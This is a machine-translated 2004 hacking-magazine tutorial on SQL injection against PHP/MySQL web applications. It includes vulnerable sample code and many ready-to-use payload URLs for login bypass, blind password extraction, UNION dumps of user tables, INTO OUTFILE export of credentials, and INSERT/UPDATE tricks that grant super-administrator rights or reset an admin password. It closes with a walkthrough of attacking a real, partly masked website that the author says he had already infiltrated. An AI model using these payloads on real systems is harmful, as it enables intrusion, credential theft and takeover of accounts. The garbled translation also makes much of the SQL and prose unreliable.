SQL injection with MySQL
The author of this article: Angel
Article Nature: Original
Release Date: 2004-09-16
This article has been published in the "Hacker defense" July issue, reproduced please specify. As a result of writing for a long time, withTechnologyProgress, I also found that the article has a lot of mistakes and wordy places. Please see the Master do not laugh. This article is written one months before "Advanced SQL injection with MySQL".
Statement
This article is only used for teaching purposes, if because of this article caused by the impact of the attack I am not responsible for this article all the code is I write, all the data have been tested. Absolutely true. If there are any omissions or errors, welcome to the Security Angel Forum (http://www.4ngel.net/forums) to communicate with me.
Objective
Starting in 2003, more and more people like to script attacks, and research ASPinjectedFriends are gradually getting up and I've read the first about SQLinjectedThe article is a 99 foreign master wrote, and now the foreign has perfected, the domestic only began to pay attention to this technology, from this view, the domestic technology in this respect is still a big gap in foreign countries, say back, everyone on the SQLinjectedAttacks are quite familiar with the domestic major sites are some of the classic works, but as a complete article, I think it is necessary to say that its definition and principle. If a master has reached the point of perfection, may wish to pick a thorn in this article. Right to be the guide brother.
About Php+mysql.injected
The country can see Php+mysqlinjectedArticles may be less, but if you look at the vulnerabilities of various web programs, you can see that the article is actually an example of these vulnerabilities. However, because the domestic research of PHP than the study of the ASP is too much, so, may not pay attention to, and PHP security than the ASP high, resulting in many people do not want to cross this threshold.
Still, in the growing number of PHP sites today, SQLinjectedis still the most effective and most troublesome way to attack, effective because at least 70% of the sites have SQL injection vulnerabilities, including most of the domestic security site, the trouble is because the version below MYSQL4 is not supporting the child statements, and when PHP.ini Magic_quotes_ When GPC is on. All ' (single quotes) in the submitted variable (double quotes), (backslash) and nullcharacteris automatically converted to include a backslashcharacter。 To giveinjectedBring a lot of obstacles.
In the early days, according to the Code of the program, to construct a statement without quotes to form an effective attack, it is really difficult, but now the technology has been constructed without quotes in the application of the statement in some cases. As long as there is experience, in fact, the construction of effective statements is not difficult, even the success rate is very high, but the specific situation of specific analysis. First of all, to get out of a misunderstanding.
Note: In the absence of specific instructions, we assume that the MAGIC_QUOTES_GPC is off.
Php+mysqlinjectedThe misunderstanding
Many people think that under the Php+mysqlinjectedBe sure to use single quotes, or there is no way to use a command such as "declare @a sysname select @a=<command> exec master.dbo.xp_cmdshell @a" to eliminate quotes like MSSQL. Actually, this is everybody's right.injectedA misunderstanding or that is rightinjectedUnderstanding of a misunderstanding.
Why, then? Because in any language, in quotes (including a single pair), all strings are constants, and even a command like dir is tightly tied to a string and cannot be executed as a command unless the code is written like this:
$command = "dir c:";
System ($command);
Otherwise, it's just a string, of course, the command we're talking about is not a system command, we're talking about an SQL statement, we're going to make our SQL statements run normally, we can't make our statements into strings, so what happens in single quotes? When do you need it? Take a look at the following two sentence SQL statements:
①select * from article WHERE articleid= ' $id '
②select * from article WHERE articleid= $id
Both types of writing are common in a variety of programs, but security is different, the first sentence because the variable $id placed in a pair of single quotes, so that we have submitted variables into a string, even if the correct SQL statements, and will not execute normally, and the second sentence is different, because the variable is not placed in single quotes, All we have to submit, as long as there is a space, that the space after the variable will be executed as a SQL statement, we submitted for two sentences, respectively, two successfulinjectedDeformity statement to see the difference.
① The specified variable $id as:
1 ' and 1=2 union SELECT * from user where userid=1/*
At this point the entire SQL statement becomes:
SELECT * from article where articleid= ' 1 ' and 1=2 union SELECT * from user where userid=1/* '
② the specified variable $id as:
1 and 1=2 Union SELECT * from user where userid=1
At this point the entire SQL statement becomes:
SELECT * from article where articleid=1 and 1=2 Union SELECT * from user where userid=1
Did you see it? Since the first sentence has single quotes, we have to close the front single quotation marks in order to make the following statement as SQL execution, and to comment out the back of the original SQL statement after the single quotation mark, so that you can successfullyinjected, if the php.ini MAGIC_QUOTES_GPC is set to on or the variable before the addslashes () function, our attack will be destroyed, but the second sentence does not enclose the variable in quotation marks, then we do not have to consider to close, comment, direct submission on the OK.
You see that some articles give out statements that don't include single quotes like Pinkeyes's PHPinjectedExample, the sentence given in the SQL statement is not enclosed in quotes, so don't think you can really use quotesinjected, take a closer look at the phpBB code, and you'll find that the SQL statement that $forum_id is in is written like this:
$sql = "SELECT *
From ". Forums_table. "
WHERE forum_id = $forum _id ";
Because there is no single quotation mark to contain the variable, only to give pinkeyes this guy, so when you write PHP program, remember to enclose the variable in single quotes. Of course, the necessary security measures are essential.
A simple example
Let me give you an example to understand the PHPinjectedThe particularity and principle. Of course, this example can also tell you how toLearningConstructs a valid SQL statement.
Let's take a user-validated example and start by building aDatabaseand a data table and inserts a record, as follows:
CREATE TABLE ' user ' (
' userid ' int (one) not NULL auto_increment,
' username ' varchar not NULL default ',
' Password ' varchar not NULL default ',
PRIMARY KEY (' userid ')
) Type=myisam auto_increment=3;
#
# Export the data in the table ' user '
#
INSERT into ' user ' VALUES (1, ' Angel ', ' Mypass ');
The code for verifying user files is as follows:
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
Mysql_connect ($servername, $dbusername, $dbpassword) or Die ("database connection failed");
$sql = "SELECT * from user WHERE username= ' $username ' and password= ' $password '";
$result = Mysql_db_query ($dbname, $sql);
$userinfo = Mysql_fetch_array ($result);
if (empty ($userinfo))
{
echo "Landing failed";
} else {
echo "landed success";
}
echo "<p>sql Query: $sql <p>";
?>
At this time we submit:
Http://127.0.0.1/injection/user.php?username=angel' or 1=1
will return:
Warning:mysql_fetch_array (): supplied argument isn't a valid MySQL result resource in f:wwwinjectionuser.php to line 13
Landing failed
SQL Query:select * from user WHERE username= ' angel ' or 1=1 ' and password= '
PHP Warning:mysql_fetch_array (): supplied argument isn't a valid MySQL result resource in f:wwwinjectionuser.php of
Did you see it? After the single quotation mark is closed, the following single quotation marks are not commented out, resulting in the single quotation marks not paired correctly, so that the statement we constructed does not allow MySQL to execute correctly, and to reconstruct:
Http://127.0.0.1/injection/user.php?username=angel' or ' 1=1
This shows "landing success", indicating success. or submit:
Http://127.0.0.1/injection/user.php?username=angel'/*
Http://127.0.0.1/injection/user.php?username=angel'%23
This is the following statement to the comment off! Speaking of the differences between the two submissions, we submitted the first sentence is the use of logical operations in the ASP can be said to be very broad, this is needless to say? The second to third sentence is based on MySQL features, MySQL support/* and # Two annotation formats, so we are submitting the following code comments, it is worth noting that because of coding problems, in the IE Address bar to submit # will become empty, so we submit in the address bar, should be submitted to% 23, will become #, the success of the annotation, this is much simpler than the logical operation, which can be seen in PHP more powerful than ASP.
Through the above example, you should have a php+mysqlinjectedDo you have a perceptual understanding?
Statement Construction
Php+mysqlinjectedThe broad and profound not only embodied in the certification system Rao, the sentence structure is the most interesting place, but the construction statement and access, MSSQL are a little different, but also can play incisively and vividly. Look at the example below.
First, search engine
There are a lot of PHP programs on the web search engine is problematic, that is, the submission of special characters can show all records, including not eligible, in fact, this harm is not large, because allows users to enter the keyword fuzzy query most of the places allow to retrieve all the records. The design of many queries is like this.
A query that is read-only should not be too worried about data that does not have a destructive effect. But revealing privacy does not count as a hazard, the following is a standard search engine:
<form method= "Get" action= "search.php" name= "Search" >
<input name= "keywords" type= "text" value= "" size= "" > <input type= "Submit" value= "Search" >
</form>
<p><b>search result</b></p>
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
Mysql_connect ($servername, $dbusername, $dbpassword) or Die ("database connection failed");
$keywords = $_get[' keywords '];
if (!empty ($keywords)) {
$keywords = Addslashes ($keywords);
$keywords = Str_replace ("_", "_", $keywords);
$keywords = str_replace ("%", "%", $keywords);
$sql = "SELECT * from". $db _prefix. " Article WHERE title like '% $keywords% ' $search order by title DESC ';
$result = Mysql_db_query ($dbname, $sql);
$tatol =mysql_num_rows ($result);
echo "<p>sql Query: $sql <p>";
if ($tatol <=0) {
echo "the" <b> $keywords </b> "is not found in all the Record.<p>n";
} else {
while ($article =mysql_fetch_array ($result)) {
echo "<li>". Htmlspecialchars ($article [title]). " <p>n ";
}//while
}
} else {
echo "<B>: Please enter some keywords.</b><p>n";
}
?>
General procedures are written in this way, if the lack of variable checking, we can rewrite the variable to achieve "injected"For the purpose, although there is no harm, when we enter" ___ ",". __ ","% "and other similar keywords, all the records in the database are taken out. If we submit in the form:
% ' ORDER by articleid/*
% ' ORDER by articleid#
__ ' ORDER BY articleid/*
__ ' ORDER by articleid#
The SQL statement is changed to look like the following,
SELECT * from article WHERE title is like '% ' order by articleid/*% ' ORDER by title DESC
SELECT * from article WHERE title like '%__ ' ORDER by articleid#% ' ORDER by title DESC
All records are listed, including those that are hidden, and you can change the order of arrangement. Although this is not very harmful, it isinjectedA way out of it?
Second, the query field
Query fields can be divided into two, this table query and cross table query, the two queries and access, MSSQL almost, and even more powerful, more flexible, more convenient. Do not know why some people think it is more difficult than ASP? The individual functions we use frequently in the ASP are small changes in PHP, as follows:
① This table query
Look at the following SQL statement, more used in the Forum or member registration system to view user information,
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
Mysql_connect ($servername, $dbusername, $dbpassword) or Die ("database connection failed");
$sql = "SELECT * from user WHERE username= ' $username '";
$result = Mysql_db_query ($dbname, $sql);
$row = Mysql_fetch_array ($result);
if (! $row) {
echo "The record does not exist";
echo "<p>sql Query: $sql <p>";
Exit
}
echo "You want to query the user ID is: $row [userid]n";
echo "<p>sql Query: $sql <p>";
?>
When we submit a user name that is true, the user's ID is returned normally. If the illegal parameter will prompt the corresponding error, because it is to query the user information, we can boldly guess that the password exists in this data table (now I have not met the password is a separate form of the program), remember just the authentication program? Compared to the present, there is one less and condition, as follows:
SELECT * from user where username= ' $username ' and password= ' $password ' select * from user where username= ' $username '
The same is when the condition is true, will give the correct hint, if we construct the next and conditional part, and make this part true, then our goal is to achieve, or use the user database we just created, the username is angel, the password is mypass,
Looking at the above example, you should know the construction, if we submit:
Http://127.0.0.1/injection/user.php?username=angel' and password= ' Mypass
This is absolutely true, as we submit the above SQL statement to the following:
SELECT * from user WHERE username= ' angel ' and password= ' Mypass '
But in the actual attack, we certainly do not know the password, assuming we know the various fields of the database, we begin to probe the password, first get the password length:
Http://127.0.0.1/injection/user.php?username=angel' and LENGTH (password) = ' 6
In Access, use the Len () function to get the length of the string, in MySQL, to use length (), as long as there is no construction error, that is, the SQL statement can be executed correctly, there are no two return results, not return the user ID, or return "the record does not exist." When the user name is angel and the password length is 6, return true, it will return the relevant records, is it the same as the ASP? Then use the left (), right (), MID () function to guess the password:
Http://127.0.0.1/injection/user.php?username=angel' and Left (password,1) = ' m
Http://127.0.0.1/injection/user.php?username=angel' and Left (password,2) = ' my
Http://127.0.0.1/injection/user.php?username=angel' and Left (password,3) = ' MYP
Http://127.0.0.1/injection/user.php?username=angel' and Left (password,4) = ' MyPa
Http://127.0.0.1/injection/user.php?username=angel' and Left (password,5) = ' Mypas
Http://127.0.0.1/injection/user.php?username=angel' and Left (password,6) = ' Mypass
Look, isn't the password out? Easy, huh? Of course, the actual situation will have a lot of constraints, the following will be the in-depth application of this example.
② Cross-Table query
This part and the ASP a bit out of the way, in addition to the Union must be connected two SQL statements, the most difficult to grasp is the number of fields, if you read the MySQL reference manual, you know the select_expression in the SELECT (select_expression The columns listed in the column [fields]) that you want to retrieve must have the same type. The column names used in the first SELECT query are returned as the column name of the result set. Simply put, the number of fields selected after the Union, the field type should be the same as the previous select, and if the previous select is true, the result of the two select is returned, and when the previous select is false, the result of the second select is returned. Some cases will replace the field that the first select should display, as shown in the following figure:
See this picture more intuitive? So you should know the structure of the data table of the previous query table first. If we query two data tables for the same fields and the same type, we can submit this:
SELECT * from article WHERE articleid= ' $id ' UNION SELECT * from ...
If the number of fields, any one of the field types is not the same, you can only clear the data type and number of fields, so submit:
SELECT * from article WHERE articleid= ' $id ' UNION select 1,1,1,1,1,1,1 ...
Otherwise, you will get an error:
The used SELECT statements have a different number of columns
If you do not know the data type and number of fields, you can use to slowly try, because 1 belongs to the Intstrvar type, so we just slowly change the quantity, we can guess. If you can't immediately understand the above theory, there are very detailed examples.
Let's look at the following data structure, which is a simple article datasheet.
CREATE TABLE ' article ' (
' ArticleID ' int (one) not NULL auto_increment,
' title ' varchar not NULL default ',
' Content ' text not NULL,
PRIMARY KEY (' ArticleID ')
) Type=myisam auto_increment=3;
#
# Export the data in the table ' article '
#
INSERT into ' article ' VALUES (1, ' I am a child who does not love reading ', ' China's education system is really fucking backward! If I were the Minister of Education. I'm going to fire all the teachers! ');
INSERT into ' article ' VALUES (2, ' I hate you ', ' I hate you, what are you? ');
The field type of this table is int, varchar, text, and if we use Union union query, the table structure of the following query is the same as this one. You can use "SELECT *", if there is any difference, then we can only use "Select 1,1,1,1 ...".
The following file is a very standard, simple display of the article file, many sites are such pages are not filtered, so become the most obviousinjectedClick here to take this file as an example and start ourinjectedExperiment.
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
Mysql_connect ($servername, $dbusername, $dbpassword) or Die ("database connection failed");
$sql = "SELECT * from article WHERE articleid= ' $id '";
$result = Mysql_db_query ($dbname, $sql);
$row = Mysql_fetch_array ($result);
if (! $row)
{
echo "The record does not exist";
echo "<p>sql Query: $sql <p>";
Exit
}
echo "title<br>". $row [title]. " <p>n ";
echo "content<br>". $row [content]. " <p>n ";
echo "<p>sql Query: $sql <p>";
?>
Normally, we submit such a request:
http://127.0.0.1/injection/show.php?id=1
will show ArticleID 1 article, but we do not need the article, we need the user's sensitive information, it is necessary to search the user table, now is the query we created the user table.
Since $id did not filter to create this opportunity, we'll rewrite the SQL statements in the show.php file like this:
SELECT * from article WHERE articleid= ' $id ' UNION SELECT * from user ...
Since this code has single quotes containing variables, we now submit:
http://127.0.0.1/injection/show.php?id=1' Union select 1,username,password from user/*
According to the truth, should display the User table username, password Two fields of content just ah, how normal display article? As shown in figure:
In fact, we submitted the articleid=1 is the article table exists, the implementation of the result is true, naturally return the results of the previous select, when we submit a null value or submit a nonexistent value, we will jump out of what we want:
Http://127.0.0.1/injection/show.php?id= ' Union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=99999 ' Union select 1,username,password from user/*
As shown in figure:
Now we're going to show what we want in the field where it corresponds. If you are not clear on the idea and the specific application, there will be some advanced skills.
Third, export documents
This is a relatively easy to construct but has some limitations of the technology, we can often see the following SQL statement:
select * FROM table into outfile ' C:/file.txt '
SELECT * FROM table into outfile '/var/www/file.txt '
But such statements, generally rarely used in the program, who will be their own data export it? Unless it's a backup, I've never seen the backup method. So we have to construct ourselves, but we must have the following prerequisites:
You must export to a directory that you can access so that you can download it.
The directory you can access must have writable permissions, or the export will fail.
It is rare to ensure that the hard disk has enough capacity to accommodate the exported data.
Making sure that the same file name already exists causes the export to fail and prompts: "File ' C:/file.txt ' already exists" to prevent database tables and files such as/etc/passwd from being corrupted.
We continue to use the above user.php and show.php two files for example, if a user guessing solution is too slow, if the other person's password or other sensitive information is complex, and will not write exploit, to guess when Ah? To a large extent, direct export of all the data good. user.php the query statement of the file, we follow the standard form into outfile,injectedThe following statement will be able to export the information we need:
SELECT * from user WHERE username= ' $username ' into outfile ' c:/file.txt '
Knowing what kind of statements can accomplish our purpose, it is easy to construct the appropriate statement:
Http://127.0.0.1/injection/user.php?username=angel' into outfile ' c:/file.txt
The error message appears, but from the statement that is returned, our SQL statement is indeedinjectedCorrect, even if there is an error, the query is the problem, the file is still obediently exported, as shown in the figure:
Since the code itself has a where to specify a condition, the data we export is just the data that satisfies this condition, if we want to export all of them? In fact it is very simple, as long as the where condition is false, and specify a condition to be true, you can not be bound in the where, to see the classic 1=1 play a role:
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile ' C:/file.txt
The actual SQL statement becomes:
SELECT * from user WHERE username= ' or 1=1 into outfile ' C:/file.txt '
So the username parameter is empty, is false, 1=1 is always true, that or the where in front does not work, but do not use and oh, otherwise you can not export all the data.
Now that the conditions are met, you can export all the data directly in this case! As shown in figure:
But how do you construct statements that cross a table's export file? or union query, so all prerequisites should be the same as union, export data, cross table export data normally should be the same as the following:
SELECT * from article WHERE articleid= ' 1 ' union SELECT 1,username,password from user into outfile ' c:/user.txt '
This allows you to export the file, if we want to construct the commit:
http://127.0.0.1/injection/show.php?id=1' Union select 1,username,password from user into outfile ' c:/user.txt
The file is out, but there is a problem, because the previous query articleid= ' 1 ' is true, so the exported data also has a part of the entire article, as shown:
So we should make the previous query statement false so that we can only export the contents of the following query, just submit:
http://127.0.0.1/injection/show.php?id=' Union select 1,username,password from user into outfile ' c:/user.txt
So that we can get the information we want:
It is worth noting that you want to export the file, you must not open the MAGIC_QUOTES_GPC, and the program does not use the addslashes () function, and can not do any filtering of single quotes, because we are submitting the export path, must be included in quotation marks, otherwise, The system will not recognize that it is a path, and do not attempt to use char () or any function, which is futile.
INSERT
If you think of MySQLinjectedJust for select is a big mistake, there are two more harmful operations, that is, insert and UPDATE statements, such examples are not many, first to say insert, which is mainly used to overwrite the inserted data, we look at a simple and widespread examples, Look at the following data structure:
CREATE TABLE ' user ' (
' UserID ' INT not NULL auto_increment,
' username ' VARCHAR not NULL,
' Password ' VARCHAR not NULL,
' Homepage ' VARCHAR (255) Not NULL,
' Userlevel ' INT DEFAULT ' 1 ' not NULL,
PRIMARY KEY (' userid ')
);
The userlevel represents the level of the user, 1 is a regular user, 2 is a regular administrator, 3 is a super administrator, a registration program by default is registered as a normal user, as follows:
INSERT into ' user ' (userid, username, password, homepage, userlevel) VALUES (', ' $username ', ' $password ', ' $homepage ' , ' 1 ');
The default Userlevel field is Insert 1, where the variables are directly written to the database without filtering, do not know what you think? Yes, it's direct.injected, so that we register as a super administrator. When we register, we construct the $homepage variable, we can achieve the purpose of rewriting, and specify the $homepage variable as:
http://4ngel.net', ' 3 ') #
When you insert a database, you become:
INSERT into ' user ' (userid, username, password, homepage, userlevel) VALUES (', ' Angel ', ' mypass ', ' http://4ngel.net ') , ' 3 ') # ', ' 1 ');
This will be registered as a Super administrator. But the use of this method also has some limitations, for example, I do not need to rewrite the variables such as the Userlevel field is the first field of the database, there is no place in front of usinjected, we have no way.
There may be a wider application for inserts, but the principle is the same.
UPDATE
and insert, update is more widely used, if the filter is enough to rewrite any data, or take just the registration process, the data structure is unchanged, we look at the user to modify their own data, SQL statements are generally written in this way:
UPDATE user SET password= ' $password ', homepage= ' $homepage ' WHERE id= ' $id '
Users can modify their passwords and homepage, what do you think? It's not always a privilege to elevate, is it? The SQL statement in the program has not updated the Userlevel field, how to promote AH? Or the old way, constructs the $homepage variable, specifies that the $homepage variable is:
http://4ngel.net', userlevel= ' 3
The entire SQL statement becomes this way:
UPDATE user SET password= ' mypass ', homepage= ' http://4ngel.net ', userlevel= ' 3 ' WHERE id= ' $id '
Have we become super administrators again? program does not update the Userlevel field, we do it ourselves.
There are even more absolute, directly modify any user's data, or just the example, but this time a little safer, using MD5 encryption:
UPDATE user SET password= ' MD5 ($password) ', homepage= ' $homepage ' WHERE id= ' $id '
Although the password is encrypted, we can still construct the statement we need, and we specify $password as:
mypass) ' WHERE username= ' admin ' #
Then the entire statement becomes:
UPDATE user SET password= ' MD5 (mypass) ' where username= ' admin ' #) ', homepage= ' $homepage ' where id= ' $id '
This changes the condition of the update, I don't care if the code behind you is crying this said: we haven't implemented AH. Of course, can also start from $id, designated $id as:
' OR username= ' admin '
Then the entire statement becomes:
UPDATE user SET password= ' MD5 ($password) ', homepage= ' $homepage ' WHERE id= ' OR username= ' admin '
can also achieve the purpose of modification, so sayinjectedis a very flexible technology. If some variables are fixed values read from the database, and even read session information on the server using $_session[' username ', we can construct where and comment out the following code before the original where, so the flexible use of annotations is alsoinjectedOne of the techniques. These techniques putinjectedPlay to the fullest. I have to say it's an art.
A variable can be submitted in either get or post, where the address bar, form, hidden form variable, or local cookie information can be submitted in the form of a local submission, a submission on the server or a tool submission, and a variety of ways to see how you use it.
Advanced Applications
1. Use MySQL built-in function
We are in Access, MSSQLinjected, there are a lot of more advancedinjectedmethods, such as in-depth to the system, guessing Chinese, and so on, these things, in MySQL can also be well played, in fact, there are many built-in functions in MySQL can be used in SQL statements, so that we caninjectedMore flexible to get more information about the system. There are several functions that are more commonly used:
DATABASE ()
USER ()
System_user ()
Session_user ()
Current_User ()
......
The specific functions of each function you can access the MySQL manual, such as the following update:
UPDATE article SET title= $title WHERE articleid=1
We can specify $title as the above functions because they are not enclosed in quotes, so functions can be executed correctly:
UPDATE article SET title=database () WHERE id=1
#把当前数据库名更新到title字段
UPDATE article SET title=user () WHERE id=1
Update #把当前 MySQL username to Title field
UPDATE article SET title=system_user () WHERE id=1
Update #把当前 MySQL username to Title field
UPDATE article SET title=session_user () WHERE id=1
Update #把当前 MySQL username to Title field
UPDATE article SET title=current_user () WHERE id=1
#把当前会话被验证匹配的用户名更新到title字段
Flexible use of MySQL built-in functions, you can get a lot of useful information, such as database version, name, user, the current database, such as the previous cross-table query examples, submitted:
http://127.0.0.1/injection/show.php?id=1
Can see an article, how can we know the MySQL database related information? Also with the MySQL built-in function with Union union query, but by comparison is much simpler, even can read files! Now that you want to use union, you also need to satisfy the condition of union--the number of fields, the same data type. If we know the data structure, we construct it directly:
Http://127.0.0.1/injection/show.php?id=-1Union select 1,database (), version ()
You can return the current database name and database version, which is relatively easy to construct.
Attached below is a section of my friend Super Hei write code that converts strings to ASCII code. Thanks for offering.
#!/usr/bin/perl
#cody by Super Hei
#to Angel
#C: >test.pl C:boot.ini
#99, 58,92,98,111,111,116,46,105,110,105.
$ARGC = @ARGV;
if ($ARGC!= 1) {
Print "Usage: $ n";
Exit (1);
}
$path =shift;
@char = Unpack (' c* ', $path);
$asc =join (",", @char);
Print $ASC;
2, do not add single quotesinjected
Note: Now let's assume MAGIC_QUOTES_GPC is on.
It is well known that the shaping of data does not need to be enclosed in quotes, and that strings are quoted, which avoids many problems. But if we just use plastic data, there's no wayinjected, so I need to convert the statements we construct into shaping types, which requires the use of char (), ASCII (), ORD (), CONV (), for a simple example:
SELECT * from user WHERE username= ' angel '
How do you make $username without quotes? It's easy for us to submit this.
SELECT * from user WHERE Username=char (97,110,103,101,108)
# char (97,110,103,101,108) is equivalent to Angel, decimal.
SELECT * from user WHERE username=0x616e67656c
# 0x616e67656c is equivalent to Angel, Hex.
Other functions everyone's going to test it, okay? But the premise is as stated above, we can construct the variable not to be included in the quotation mark, otherwise we no matter what constructs, but the string, does not play a role, such as the previous guessing password example (user,php), we change the query condition to UserID:
SELECT * from user WHERE Userid=userid
According to the normal, submit:
http://127.0.0.1/injection/user.php?userid=1
You can query UserID for 1 of the user data, because 1 is a number, so there is no quotation mark does not matter, but if we construct:
http://127.0.0.1/injection/user.php?userid=1and Password=mypass
Absolute error, because Mypass is a string, unless committed:
http://127.0.0.1/injection/user.php?userid=1and password= ' Mypass '
Because of the MAGIC_QUOTES_GPC open relationship, this is absolutely impossible. The quotation marks will change to/', is there any way we can turn these strings into shaping data? is using the char () function, if we submit:
http://127.0.0.1/injection/user.php?userid=1and Password=char (109,121,112,97,115,115)
Normal return, the practice has proved that we use char () is feasible, we will use char () in the left function in a bit of guessing!
http://127.0.0.1/injection/user.php?userid=1and left (password,1) =char (109)
Normal return, description of the user UserID 1, password field first is char (109), we continue to guess:
http://127.0.0.1/injection/user.php?userid=1and left (password,2) =char (109,121)
And normal return, the correct description, but this affects efficiency, since it is plastic, we can use comparison operators to compare:
http://127.0.0.1/injection/user.php?userid=1and left (password,1) >char (MB )
Then adjust the numbers in char () to determine a range, and you'll soon be able to guess the comparison operator when you're back:
http://127.0.0.1/injection/user.php?userid=1and left (password,3) >char (109,121,111)
And the original has been guessed good not to change, and soon can guess the end:
http://127.0.0.1/injection/user.php?userid=1and left (password,6) =char (109,121,112,97,115,115)
Then execute at the mysql> command prompt or in phpMyAdmin:
Select char (109,121,112,97,115,115)
will return: Mypass
Of course, you can also use the substring (Str,pos,len) and mid (Str,pos,len) functions to return the substring of Len characters from the POS position of String str. This is the same as access. Or just the example, we guess the third and fourth places in the Password field, the third is P, and the fourth is a, we construct this:
http://127.0.0.1/injection/user.php?userid=1and Mid (password,3,1) =char (112)
http://127.0.0.1/injection/user.php?userid=1and Mid (password,4,1) =char
The result that we want is burst out. Of course, if you feel trouble, you can also use the Ord () function, the specific role can go to see the MySQL reference Manual, the function returned is the shape of the type of data can be compared with comparison operators, of course, the result is much faster, that is to submit:
http://127.0.0.1/injection/user.php?userid=1and Ord (Mid (password,3,1)) >111
http://127.0.0.1/injection/user.php?userid=1and Ord (Mid (password,3,1)) <113
http://127.0.0.1/injection/user.php?userid=1and Ord (Mid (password,3,1)) =112
So we can get the results, and then we can use the char () function to restore it. As for the other functions, we can try it on our own, not to say much about it.
3, quickly determine the unknown data structure of the fields and types
If you do not know the data structure, it is difficult to use Union union query, here I tell you a little trick, but also very useful skills very necessary to give full play to the characteristics of Union.
Or take the previous show.php file as an example, when we see the form like xxx.php?id=xxx URL, if you want to union, we need to know the structure of the xxx.php query datasheet, we can submit to quickly determine how many fields:
Http://127.0.0.1/injection/show.php?id=-1Union Select 1,1,1
How many "1" means there are many fields, can slowly try, if the number of fields is not the same, it will certainly be wrong, if the number of fields guessed right, it will definitely return the correct page, the number of fields out, began to judge the type of data, in fact, it is easy to use a few letters to replace the above 1, but due to QUOTES_GPC Open, we cannot use quotes, the old method, or the char () function, char (97) to represent the letter "a", as follows:
Http://127.0.0.1/injection/show.php?id=-1Union Select char (), Char (), char ()
If it is a string, "a" is displayed normally, and if it is not a string or text, that is, an integer or a Boolean, it returns "0", as shown in figure:
What is the most important thing to judge? Experience, I have always said, experience is very important, rich experience to better make the right judgments, because the code of the program is ever-changing, we are here is just the simplest example, here because of limitations, the procedures are written by myself, testing. Methods vary by program. Hope everyone in the actual combat, pay attention to the difference, do not copy, flexible use is the fundamental.
4. Guess data table name
In the fast determination of unknown data structure of the fields and types, we can further analyze the entire data structure, which is to guess the table name, in fact, using Union union query, no matter how the subsequent query "deformity", as long as there is no statement on the problem, will return correctly, that is, We can further guess the table name on the basis of the above, for example, we have just submitted:
http://127.0.0.1/injection/show.php?id=1Union Select 1,1,1
Return to the normal content, it means that this file query in the table there are 3 fields, and then we add the from table_name in the following, that is:
http://127.0.0.1/injection/show.php?id=1Union select 1,1,1 from members
http://127.0.0.1/injection/show.php?id=1Union select 1,1,1 from admin
http://127.0.0.1/injection/show.php?id=1Union select 1,1,1 from user
If the table exists, it will also return what should be displayed, if the table does not exist, of course, there will be mistakes, so my idea is to get the data structure of the query table of the vulnerable file, determine the results and then further query the table, this manual operation is inefficient problem, less than a minute can be queried, For example, we are testing the www.***bai.net is this, the following example will be involved.
But there is a problem, because in many cases, the data table of many programs will have a prefix, with this prefix allows multiple programs to share a database. Like what:
site_article
Site_user
Site_download
Forum_user
Forum_post
.....
If the security consciousness is high, the administrator will add a table name prefix, that guess solution is very troublesome, but can do a table list to run. Here is not much to say, there will be a concrete example to solve all the confused ^_^ ...
Instance
The following is a very well-known site in the Goodwill attack test, to the above knowledge for a general verification, for the impact of many factors, we call this site HB (www.***bai.net), HB is using the Night cat article system and download system, but the article system has been upgraded, We will not read, the download system is absolutely problematic, but because I am writing the article computer does not surf the Internet, I use the same download system to conduct a simulated test locally. In fact, I infiltrated HB with more vicious techniques beforehand.
First we find the file with the problem, show.php?id=1, we immediately look at the data structure and table name, see HB has not changed the field and table name, I knew the night cat download System 1.0.1 version of the Software information table has 19 fields, submitted:
http://127.0.0.1/ymdown/show.php?id=1Union Select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
Note that there are 19 "1", return to the normal page, I can be sure that the field has not changed, we also do not procrastinate, directly to see the night cat's default User data table exists:
http://127.0.0.1/ymdown/show.php?id=1Union Select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user
Normal return, as shown in figure, if the URL is not clear can look at the title there:
Well, this HB is really lazy, so bad procedures do not know to modify the use of the first, but also, not many people and I have xianxin first to strengthen the program to use, and then see the default User ID is still in?
http://127.0.0.1/ymdown/show.php?id=1Union Select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where id=1
Forget, even if there is no ID 1 users, the previous query is true, the normal return of the database software information, we can only make the previous query is false, in order to make the results of the subsequent query show, but we have to pay attention to, show.php file has such a section of code:
if ($id > "0" && $id < "999999999"):
This is the code that executes correctly
Else
echo "<p><center><a href=./list.php> no record </a></p>n";
In other words, the value of our IDs can no longer be beyond 0 and 999999999, HB software will certainly not exceed 10,000, we will submit:
http://127.0.0.1/ymdown/show.php?id=10000Union Select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where id=1
Normal return, the data in the table are all "1", the description ID still in the OH. If it does not exist, the page will only return all the data is not known, because the program is judged that if the data is empty, the display is unknown. Now that you've identified the ID, make sure it's an admin:
http://127.0.0.1/ymdown/show.php?id=10000Union Select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from Ymdown_user where id=1 and groupid=1
Program rules GroupID 1 is Super Administrator, since all return the correct information, we directly construct malformed statements, we need the user name and password, hehe, first look at the Ymdown table data structure, because show.php is query it, so we should look at its data structure.
CREATE TABLE Ymdown (
ID Int (a) unsigned not NULL auto_increment,
Name varchar not NULL,
UpdateTime varchar is not NULL,
Size varchar not NULL,
Empower varchar (m) not NULL,
OS varchar (MB) not NULL,
Grade smallint (6) DEFAULT ' 0 ' not NULL,
Viewnum Int (a) DEFAULT ' 0 ' not NULL,
Downnum Int (a) DEFAULT ' 0 ' not NULL,
Homepage varchar (+), demo varchar (100),
Brief Mediumtext, img varchar (100),
Sort2id smallint (6) DEFAULT ' 0 ' not NULL,
Down1 varchar (m) not NULL,
DOWN2 varchar (100),
DOWN3 varchar (100),
DOWN4 varchar (100),
DOWN5 varchar (100),
PRIMARY KEY (ID)
);
